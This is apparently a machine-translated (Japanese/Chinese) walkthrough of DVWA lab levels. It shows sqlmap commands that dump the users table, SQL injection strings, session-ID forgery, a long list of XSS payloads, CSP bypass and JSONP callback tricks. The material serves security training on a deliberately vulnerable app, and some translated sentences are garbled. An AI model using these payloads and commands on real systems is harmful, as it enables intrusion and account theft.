jSQL インジェクションは、リモート サーバーからデータベース情報を検索するための軽量アプリケーションです。 jSQL は無料のオープンソースで、複数のプラットフォーム (Windows、Linux、Mac OS X、Solaris) で利用できます。

jSQL インジェクションは、JAVA によって開発された自動 SQL インジェクション ツールです。データベース クエリ、バックグラウンド ブラスト、ファイル読み取り、Web シェル、SQL シェル、ファイル アップロード、暴力的な列挙、エンコーディング、バッチ インジェクションを提供します。次のような強力な機能を備えています。テストとしては非常に優れたツールであり、ペネトレーション テスターに​​とって強力なアシスタントです。 GET\POST インジェクションをサポートしており、HTTP ヘッダー インジェクションも実行できます (これはユーザーが自動的に構築する必要があります)。 sqlmap と比較すると、グラフィカル インターフェイスと完全な中国語サポートが備わっています。
インストール パッケージ: https://github.com/ron190/jsql-injection/releases/
最新バージョンを実行するには jdk17 が必要です。

DVWA にアクセスし、f12 経由でインターフェイスのアクセス パスを取得します
http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit
彼のクッキーに注意して、他の場所に行くときに持っていきましょう
ここに画像の説明を挿入します

id パラメータを最後に置くと失敗するので注意してください。

sqlmap

SQLMap は、SQL インジェクションの脆弱性を自動的に検出して悪用し、データベース サーバーを乗っ取るために使用できるオープンソースの侵入テスト ツールです。 Sqlmap は、コマンド ラインに基づく半自動 SQL インジェクション攻撃ツールです。スキャナーを使用するか手動で SQL インジェクション ポイントを検出した後、通常、そのインジェクション ポイントが悪用可能なポイントであるかどうかを確認する必要がありますが、この時点では sqlmap を使用して完了できます。
SQLMap 公式 Web サイトのダウンロード: http://sqlmap.org/#download
Github ソース コードのダウンロード: https://github.com/sqlmapproject/sqlmap< /a >
sqlmap コードには python3.8 以降が必要であることに注意してください。Anaconda Navigator を使用してアクティベーション用の 3.8.0 環境を作成します。

D:\green\sql\sqlmapproject-sqlmap-33a6547>conda env list
# conda environments:
#
base                  *  C:\Users\liaomin\anaconda3
env380                   C:\Users\liaomin\anaconda3\envs\env380
gpm                      C:\Users\liaomin\anaconda3\envs\gpm
mathlearn                C:\Users\liaomin\anaconda3\envs\mathlearn
papi-generator-server     C:\Users\liaomin\anaconda3\envs\papi-generator-server
py27                     C:\Users\liaomin\anaconda3\envs\py27
superset                 C:\Users\liaomin\anaconda3\envs\superset
superset1                C:\Users\liaomin\anaconda3\envs\superset1
superset2                C:\Users\liaomin\anaconda3\envs\superset2

D:\green\sql\sqlmapproject-sqlmap-33a6547>activate env380
D:\green\sql\sqlmapproject-sqlmap-33a6547>conda.bat activate env380
(env380) D:\green\sql\sqlmapproject-sqlmap-33a6547>

env380 で sqlmap スキャンを実行します (最新のものを取得するにはブラウザに Cookie ヘッダー、f12 を追加することに注意してください)
注入ポイントを確認します:

python sqlmap.py -u "http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --headers="Cookie: PHPSESSID=k3e212a0a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=15794; ts_uid=8970165994; ad_play_index=25; security=low"

ここに画像の説明を挿入します

最初の検査は遅く、完了後の他のブラストは非常に迅速に実行されます。

すべてのデータベース情報を展開します (–dbs):

python sqlmap.py -u "http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --headers="Cookie: PHPSESSID=k3e212a0a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=15794; ts_uid=8970165994; ad_play_index=25; security=low" --dbs

ここに画像の説明を挿入します

現在のデータベース情報を取得します (--current-db):

python sqlmap.py -u "http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --headers="Cookie: PHPSESSID=k3e212a0a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=15794; ts_uid=8970165994; ad_play_index=25; security=low" --current-db

ここに画像の説明を挿入します

すべてのテーブルをリストするにはライブラリ名を指定します (-D データベース名 --tables)

python sqlmap.py -u "http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --headers="Cookie: PHPSESSID=k3e212a0a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=15794; ts_uid=8970165994; ad_play_index=25; security=low" -D dvwa --tables

ここに画像の説明を挿入します

すべてのフィールドをリストするには、データベース名とテーブル名を指定します (-D データベース名 -T テーブル名 --columns)

python sqlmap.py -u "http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --headers="Cookie: PHPSESSID=k3e212a0a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=15794; ts_uid=8970165994; ad_play_index=25; security=low" -D dvwa -T users --columns

ここに画像の説明を挿入します

データベース名とテーブル名フィールドを指定して、指定したフィールドをダンプします (-D データベース名 -T テーブル名 -C フィールド、--dmp で区切ります)

python sqlmap.py -u "http://192.168.20.48/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --headers="Cookie: PHPSESSID=k3e212a0a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=15794; ts_uid=8970165994; ad_play_index=25; security=low" -D dvwa -T users -C user,password --dump

ここに画像の説明を挿入します

バープスイート CO2

burpsuite の co2 プラグインを sqlmap と組み合わせて使用​​すると、パケットを直接キャプチャして送信し、sqlmap スクリプトを自動的に生成でき、手動で行うよりも便利で簡潔です。
Extender-》Bappstore が CO2 プラグインをインストールします
ここに画像の説明を挿入します
パケット キャプチャ アクションが co2 に送信されます
ここに画像の説明を挿入します
初回入力時、sqlmap の実行を設定する必要があります スクリプトの場所、すでに Python の場所です
ここに画像の説明を挿入します
設定後、[実行] ボタンを実行できます。必要に応じて条件を組み合わせることができます。
ここに画像の説明を挿入します
データベース名とテーブル名 dump を指定します
ここに画像の説明を挿入します
たとえば、gordonb のパスワードの 1 つ: e99a18c428cb38d5f260853678922e03
ここに画像の説明を挿入します

中くらい

コードを見てください
ここに画像の説明を挿入します
ID はパラメータ化されてエスケープされていますが、ID は '' ではなく数値になり、数値はドロップダウン ボックスになっています。よりシンプルになりましたね?
パケットをキャプチャして直接注入するだけです
注入値: -1 Union select user(),database()
ここに画像の説明を挿入します

ハイン

コードを見ると、ボックスがポップアップして ID を入力し、それをセッションに保存します。ページを更新してページを開き、セッション ID クエリを取得します。ポップアップ ボックスに入力して挿入します。 .
インジェクション値: -1' Union select @@version_compile_os,database() 'ここに画像の説明を挿入します
ツールのスキャンはさらに面倒で、手動で実行するか、記述するしかありません。あなた自身のプログラム。

不可能

ID は int 型であると判断され、prepare がパラメータを処理し、パラメータを直接台無しにします。
ここに画像の説明を挿入します

SQL Injection(Blind)(SQL盲注)

ブラインド インジェクション: SQL インジェクション プロセスでは、SQL ステートメントがクエリを実行した後、クエリ データをフロントエンド ページにエコーすることができません。いくつかの特別なメソッドを使用して判断または試行する必要があります。このプロセスはブラインド インジェクションとなります。

ここでの機能的な難しさは SQL インジェクションとまったく同じですが、違いは、このページには情報が表示されず、ブール値が表示されることです。

低い

既存のユーザー ID: 1 を入力すると、「ユーザー ID はデータベースに存在します」と表示されます。
存在しないユーザー ID: -1 を入力すると、次のように表示されます: ユーザー IDはデータベースから欠落しています。
この時点で、何かが存在するかどうかを判断するために逆注入することができます。
たとえば、-1 が渡されると、これは間違いなく ID が存在しないことを意味しますが、結合すると select ステートメントは、それが正しい限り、間違いなくユーザー ID になります
。たとえば、オペレーティング システムがis win
注入パラメータ: -1' Union select 1,1 from Dual where instr(@@version_compile_os,'Win')>0 and ''='
この時点のページの結果は、ユーザー ID がデータベースに存在することです。ウィンドウ システムであることを示します。
ここに画像の説明を挿入します
sqlmap はブラインド インジェクションをサポートしています。burpsuite と co2 を使用して sqlmap スキャンを開始します。
ここに画像の説明を挿入します

中くらい

SQLインジェクションコードと同じ

ハイン

SQLインジェクションコードと同じ

不可能

SQLインジェクションコードと同じ

弱いセッション ID (弱いセッション ID)

ユーザーがログインすると、サーバー上にセッション制御と呼ばれるセッションが作成され、ページにアクセスする際にはログインする必要はなく、対応するCookieを持ってくるだけでアクセスできます。

sessionID は、特定のユーザーがサイトにアクセスするために必要な唯一のものとして機能します。 sessionID が計算できたり、簡単に推測できたりすると、攻撃者は簡単にアクセス権を取得し、ログインして他の操作を実行することなく、特定のユーザー認証インターフェイスに直接入ることができます。

その後、HTTP リクエストとともに Cookie がサーバーに送信される限り、サーバーはユーザーが誰であるかを認識します。ライフサイクル中に SessionID が盗まれると、それはアカウントの盗難 (つまり、よくある不正アクセス) と同じになります。

一般的に使用される会話方法:

  1. セッションはサーバー上に保存され、セッション ID を持つ Cookie を通じてローカルに保存されます。
  2. ログイン後、トークンが生成され、暗号化されたユーザー情報はトークンに保持され、リクエスト ヘッダーを介して渡され、サーバーによって復号化されます。
低い

コードを見てください
ここに画像の説明を挿入します
コードを追加して効果のデモンストレーションを確認し、権威 low.php を超えてください

if ($_COOKIE['dvwaSession'] == "1"){
	$html= '<pre>welcome admin</pre>';
}

さらに数回クリックすると生成される dvwaSession は増加し続けます
ここに画像の説明を挿入します
この時点で、postman を使用して dvwa にアクセスできるように変更し、dvwaSession=1 を偽造します。許可なくアクセス
ここに画像の説明を挿入します

中くらい

コードを見てください

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	$cookie_value = time();
	setcookie("dvwaSession", $cookie_value);
}


?>

sessionidはタイムスタンプを使っているのが分かりますが、権限を超えている場合は今後爆発させた方が良いでしょう。

ハイン

コードを見てください

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	if (!isset ($_SESSION['last_session_id_high'])) {
		$_SESSION['last_session_id_high'] = 0;
	}
	$_SESSION['last_session_id_high']++;
	$cookie_value = md5($_SESSION['last_session_id_high']);
	setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

不可能
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	$cookie_value = sha1(mt_rand() . time() . "Impossible");
	setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

数値がインクリメントされ、md5 を使用して dvwasession ブラストとして 1 桁の md5 を生成します。
乱数、タイムスタンプ、不可能、次に sha1、基本的に解決策なし

XSS (DOM) (DOM 型のクロスサイト スクリプティング)

DOM タイプの XSS 脆弱性は通常、JavaScript が攻撃者が制御可能なソース (URL など) からデータを取得し、それを動的コード実行 (eval() や innerHTML など) をサポートする受信側に渡すときに発生します。これにより、攻撃者は悪意のある JavaScript を実行することができ、多くの場合、他のユーザーのアカウントを乗っ取ることができます。
DOM ベースの XSS 攻撃を実装するには、データがシンクに伝播されて任意の JavaScript が実行されるように、データをソースに配置する必要があります。

DOM型、リフレクティブ型、ストレージ型の違い

1. リフレクティブ タイプ (一時的、非永続的)
リクエストが行われると、XSS コードが URL に表示され、入力としてサーバーに送信されます。サーバーは応答します。 XSS コードは応答コンテンツとともにブラウザに返送され、最終的にブラウザは XSS コードを解析して実行します。このプロセスは反射に似ているため、反射型 XSS と呼ばれます。
クライアントが送信し、サーバーが解析後に応答し、クライアント上で実行されます。

2. ストレージ タイプ (永続タイプ)
保存型 XSS と反映型 XSS の違いは、送信されたコードがサーバー側 (データベース、メモリ、ファイル システム、など)。
たとえば、最初に攻撃 URL をエンコードし (xss フィルターをバイパスするため)、次に Web サーバーを送信し (Web サーバーに保存されます)、ユーザーがページを閲覧するときにクリックすると、 url 上で XSS 攻撃がトリガーされます。もちろん、ユーザーが URL をクリックすると、CSRF (クロスサイト リクエスト フォージェリ) 攻撃が引き起こされる可能性もあります。

3. DOM タイプ
DOM タイプ XSS は、その特殊性により、DOM ツリーに基づく XSS のタイプである 3 番目のタイプに分類されることがよくあります。たとえば、サーバーはHTMLページを動的に生成するためにdocument.boby.innerHtmlなどの関数を使用することがよくありますが、これらの関数が特定の変数を参照するときにフィルタリングやチェックを行わないと、DOM型XSSが発生します。 DOM 型 XSS を保存または反映することができます。

低い

英語を選択すると、自動的に選択されます
ここに画像の説明を挿入します
パラメータにスクリプトを含めます
セッション情報を直接出力します:

http://192.168.20.48/DVWA/vulnerabilities/xss_d/?default=<script>console.log(document.cookie)</script>

ここに画像の説明を挿入します
コードは処理を行わずに文字列を直接結合します
ここに画像の説明を挿入します
low.php は空白です

中くらい

コードmedium.phpを表示

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

判断如果有<script 直接跳转到English,可以通过使用非<script>标签注入 比如
<img src='x' onerror='alert(1)'/>
但是如果直接放进去就当做了option的值,可以先做一个闭合option结束select
比如之前是<option value=""></option>
注入
变成了(不用管注入后字符的成功还是失败):
<option value=""</option></select><img src='x' onerror='alert(1)'/>"></option>
http://192.168.20.48/DVWA/vulnerabilities/xss_d/?default="></option></select><img src='x' onerror='alert(1)'/>

ここに画像の説明を挿入します
次のように、挿入できるタグは多数あります。

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
ハイン

コードを見てください:

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

直接リクエストのパラメータはこれらの言語に厳密に限定されており、アンカー ポイントを通じて克服できます。

http://192.168.20.48/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
不可能

Index.php コードを表示する

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
	$decodeURI = "";
}

HTMLをトランスコードしないと意味がありません。

XSS (反映) (反映されたクロスサイト スクリプティング)

Reflected XXS は非永続的攻撃であり、悪意のある攻撃者が Web ページに悪意のあるコードを挿入することを指します。ユーザーがページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のある攻撃が達成されます。ユーザーの目的。

低い

テキストボックス入力:

<script>alert('xss')</script>

ここに画像の説明を挿入します

或者参数上:http://192.168.20.48/DVWA/vulnerabilities/xss_r/?name=<script>alert('xss')</script>
中くらい

xssdom と同様に、script タグも除外されます。

或者参数上:http://192.168.20.48/DVWA/vulnerabilities/xss_r/?name=<img src="a" onerror="alert(1)"></img>
ハイン

xssdom と同じですが、アンカーポイントも決まりません。

http://192.168.20.48/DVWA/vulnerabilities/xss_r/?name=hello#<img src=x onerror="alert(1)">
不可能
$name = htmlspecialchars( $_GET[ 'name' ] );

すべての HTML タグを除いて xssdom と同じですが、解決策はありません

XSS (保存型) (保存型クロスサイト スクリプティング)

攻撃者は、脆弱なサーバーに悪意のあるコードを事前にアップロードまたは保存します。被害者がこの悪意のあるコードを含むページを閲覧する限り、悪意のあるコードが実行されます。たとえば、一部の新しいフォームでは、特定のフィールドに xss を書き込むことができます。タグ。

低い

名前フィールドとメッセージ フィールドを取得し、それらをゲストブック テーブルに挿入するコードを表示します。ページには、このテーブル内のすべてのデータが表示されます。

$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

ここに画像の説明を挿入します
[ゲストブックに署名] をクリックします。挿入が成功すると、ページにアクセスするたびに xss スクリプトが実行されます。
ここに画像の説明を挿入します

中くらい

コードを表示する

$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

message フィールドのラベルは削除されていますが、message フィールドのラベルは削除されていますが、message フィールドのタグは削除されていますが、 名前フィールドはスクリプトのみをフィルタリングします。フロントエンド txtName には maxLength=10 の制限があることがわかります。maxLength を変更します。 dom 要素を十分な大きさにし、xss スクリプトを書き込むようにします。 txtName フィールドは、非スクリプト インジェクション タグです。
ここに画像の説明を挿入します

ハイン

xss dom txtName と同じですが、maxlength 制限の内容を削除して追加します。

text#<img src=x onerror="alert(1)">
不可能

txtNameもmtxMessageもhtml文字で処理されていますが、解決策はありません。

CSPバイパス(CSPバイパス)

CSP の本質はホワイトリスト システムです。開発者は、どの外部リソースをロードして実行できるかをクライアントに明確に伝えます。これは、ホワイトリストを提供するのと同じです。その実装と実行はすべてブラウザによって完了し、開発者は構成を提供するだけで済みます。
CSP を有効にする 2 つの方法

低い

コードを表示する

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' http://pp.com https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
	<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
	<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
	<input size="50" type="text" name="include" value="" id="include" />
	<input type="submit" value="Include" />
</form>
';

スクリプトに含まれる js のドメイン名を許可するように応答ヘッダーが設定されていることがわかります:
$headerCSP = "Content-Security-Policy: script-src 'self ' https://pastebin .com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";

https://pastebin.com にデモンストレーションの例が示されています

https://pastebin.com/raw/R570EE00

直接アクセスでは結果が得られますが、含まれる応答は実際には空です。これは cors 起源の問題であるはずです。ホストは自分たちで定義します。

127.0.0.1 pp.com

low.phpを変更し、新しいドメイン名を追加します。

$headerCSP = "Content-Security-Policy: script-src 'self' http://pp.com https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";

DVWA プロジェクトのルート ディレクトリに新しい test.js を追加し、次のコードを記述します。

alert("xxx");

http://pp.com/DVWA/test.js にアクセスできることを確認してください。
画像の説明を追加してください

中くらい

コードを表示する

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

レスポンス ヘッダーは、インライン要素 nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" が JavaScript で許可されている場合にのみ実行を許可するために追加されます。
ここでの値は固定されており、一般的な使用法に従っています。 Access がランダムな値を生成するたびです。

入力を含めます:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

ひび割れする可能性があります。

ハイン

計算をクリックした後、jsonp を呼び出してコールバックを渡します。パケットをキャプチャしてこのコールバックを変更できます。
medium.php を表示します。現在のドメイン名で参照される js のみが表示されます。許可されています。

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

jsonp.php を表示する

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
	$callback = $_GET['callback'];
} else {
	return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

画像の説明を追加してください

不可能

jsonp_impossible.php を表示する

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");

echo "solveSum (".json_encode($outp).")";
?>
写死了回调函数,无解了

JavaScript

JavaScript は、セキュリティ機能を備えたオブジェクト駆動型およびイベント駆動型のスクリプト言語です。これはインタープリター型言語です (コードをプリコンパイルする必要はありません)。通常、JavaScript スクリプトは HTML に埋め込むことでその機能を実現します。

Cookie やセッションなどのユーザー情報を記録するスクリプトが関与する場合は、外部から導入し、ファイルパスを公開できないようにする ファイルのアクセス権限を制御する必要がある 攻撃者が重要なスクリプトコードを入手すると、他の正当なユーザーを偽造する可能性がある偽造。

低い

ChangeMe を送信すると、通常の入力成功プロンプトが不正なトークンであることがわかります。ソース コードを分析すると、フレーズのデフォルト値は
ChangeMe であることがわかります。以下のgenerate_token を通じて、次のことができます。テキスト ボックスの値を取得する方法を知っています。 md5(rot13(phrase)) を呼び出して
ここに画像の説明を挿入します
を取得します。 f12 で開発ツールを開いたところ、トークン テキスト フィールドの値が実際に計算されていることがわかりました。

md5(rot13("ChangeMe"))
'8b479aefbd90795395b3e7089ae0dc09'

次に、テキスト ボックスに「success」と入力し、ブラウザの f12 コンソール パネルにgenerate_token 関数を入力して、[送信] をクリックして成功します。画像の説明を追加してください

中くらい

ソースコードを見てみると、

<script src="../../vulnerabilities/javascript/source/medium.js"></script>
代码:
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--)
        t += e[n];
    return t
}
setTimeout(function() {
    do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

実際には、トークンは XX + テキスト ボックスの値 + XX の反転に変更され、薬は変更せずにスープが変更されます。
「success」と入力して実行します: do_elsesomething("XX" )を入力して送信してください。

ハイン

ソースコードを見ると難読化が導入されていることが判明

<script src="../../vulnerabilities/javascript/source/high.js"></script>

トークン テキスト ボックスに属性変更イベントを追加します
ここに画像の説明を挿入します
ページを更新し、jsvm が入力されているページを見つけます。ロジックは混乱していません。最後の 3 行を分析して実行するだけです。フォーマット後

画像の説明を追加してください

不可能

ユーザーの発言を決して信頼することはできませんし、ユーザーの介入を止めることもできないため、不可能なレベルはありません。
つまり、js 側では重要なデータを生成しないようにしてください。データはバックエンドでのみ生成できる

おすすめ

転載: blog.csdn.net/liaomin416100569/article/details/128200652